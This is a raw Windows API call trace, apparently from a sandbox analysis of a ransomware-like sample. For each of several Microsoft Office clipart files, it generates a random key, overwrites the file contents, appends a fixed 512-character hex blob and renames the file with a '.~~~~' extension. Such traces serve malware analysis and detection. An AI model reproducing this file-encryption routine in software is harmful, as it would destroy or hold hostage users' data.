	[0110.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0110.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0110.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f95b8
	[0110.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.544] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f95b8 | out: hHeap=0x300000) returned 1
	[0110.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.544] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c2b50
	[0110.544] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282c420
	[0110.544] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c2b50 | out: hHeap=0x300000) returned 1
	[0110.544] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0110.545] GetLastError () returned 0x0
	[0110.545] GetLastError () returned 0x0
	[0110.545] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0110.545] GetLastError () returned 0x0
	[0110.545] GetLastError () returned 0x0
	[0110.680] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffb526, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.680] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x4ada, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x4ada, lpOverlapped=0x0) returned 1
	[0110.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0110.702] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.702] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.703] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.703] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.703] CloseHandle (hObject=0x130) returned 1
	[0110.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.703] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf.~~~~")) returned 1
	[0110.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0110.704] GetLastError () returned 0x0
	[0110.704] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0110.705] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.705] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.705] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0110.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0110.705] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23069556939) returned 1
	[0110.706] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xab975630, dwHighDateTime=0x1d60e1e)) 
	[0110.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0110.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0110.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0110.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6c38
	[0110.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6c38 | out: hHeap=0x300000) returned 1
	[0110.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282c4b8
	[0110.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.706] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0110.706] GetLastError () returned 0x0
	[0110.707] GetLastError () returned 0x0
	[0110.707] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0110.707] GetLastError () returned 0x0
	[0110.707] GetLastError () returned 0x0
	[0110.708] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffd60, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.708] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x2a0, lpOverlapped=0x0) returned 1
	[0110.709] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0110.709] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.709] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.709] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.709] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.709] CloseHandle (hObject=0x130) returned 1
	[0110.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.710] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf.~~~~")) returned 1
	[0110.711] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.711] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0110.711] GetLastError () returned 0x0
	[0110.711] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0110.712] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.712] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.712] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0110.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0110.712] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23070217190) returned 1
	[0110.712] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xab99b790, dwHighDateTime=0x1d60e1e)) 
	[0110.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0110.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0110.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0110.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6a78
	[0110.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.712] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6a78 | out: hHeap=0x300000) returned 1
	[0110.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.713] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.713] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282cf68
	[0110.713] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.713] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0110.713] GetLastError () returned 0x0
	[0110.713] GetLastError () returned 0x0
	[0110.713] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0110.713] GetLastError () returned 0x0
	[0110.713] GetLastError () returned 0x0
	[0110.720] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffe018, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.720] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1fe8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x1fe8, lpOverlapped=0x0) returned 1
	[0110.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0110.720] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.721] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.721] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.721] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.721] CloseHandle (hObject=0x130) returned 1
	[0110.721] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c3c60
	[0110.721] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf.~~~~")) returned 1
	[0110.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c3c60 | out: hHeap=0x300000) returned 1
	[0110.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0110.758] GetLastError () returned 0x0
	[0110.758] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0110.759] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.759] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.759] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0110.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0110.759] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23074912942) returned 1
	[0110.759] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaba0dbb0, dwHighDateTime=0x1d60e1e)) 
	[0110.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0110.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0110.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0110.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282eff0
	[0110.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.759] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282eff0 | out: hHeap=0x300000) returned 1
	[0110.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.759] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c3c60
	[0110.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d000
	[0110.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c3c60 | out: hHeap=0x300000) returned 1
	[0110.760] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0110.760] GetLastError () returned 0x0
	[0110.760] GetLastError () returned 0x0
	[0110.760] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0110.760] GetLastError () returned 0x0
	[0110.760] GetLastError () returned 0x0
	[0110.764] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff1ec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.764] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xe14, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0xe14, lpOverlapped=0x0) returned 1
	[0110.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0110.765] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.766] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.766] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.766] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.766] CloseHandle (hObject=0x130) returned 1
	[0110.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.766] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf.~~~~")) returned 1
	[0110.767] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.767] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0110.767] GetLastError () returned 0x0
	[0110.768] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0110.769] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.769] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0110.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0110.769] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23075928786) returned 1
	[0110.769] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaba33d10, dwHighDateTime=0x1d60e1e)) 
	[0110.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0110.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0110.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0110.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f94d8
	[0110.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f94d8 | out: hHeap=0x300000) returned 1
	[0110.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d390
	[0110.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.770] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0110.770] GetLastError () returned 0x0
	[0110.770] GetLastError () returned 0x0
	[0110.770] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0110.770] GetLastError () returned 0x0
	[0110.770] GetLastError () returned 0x0
	[0110.773] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffe83c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.773] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x17c4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x17c4, lpOverlapped=0x0) returned 1
	[0110.774] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0110.774] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.774] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.774] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.774] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.774] CloseHandle (hObject=0x130) returned 1
	[0110.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.774] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf.~~~~")) returned 1
	[0110.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0110.778] GetLastError () returned 0x0
	[0110.939] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0110.941] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.941] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0110.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0110.941] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23093160155) returned 1
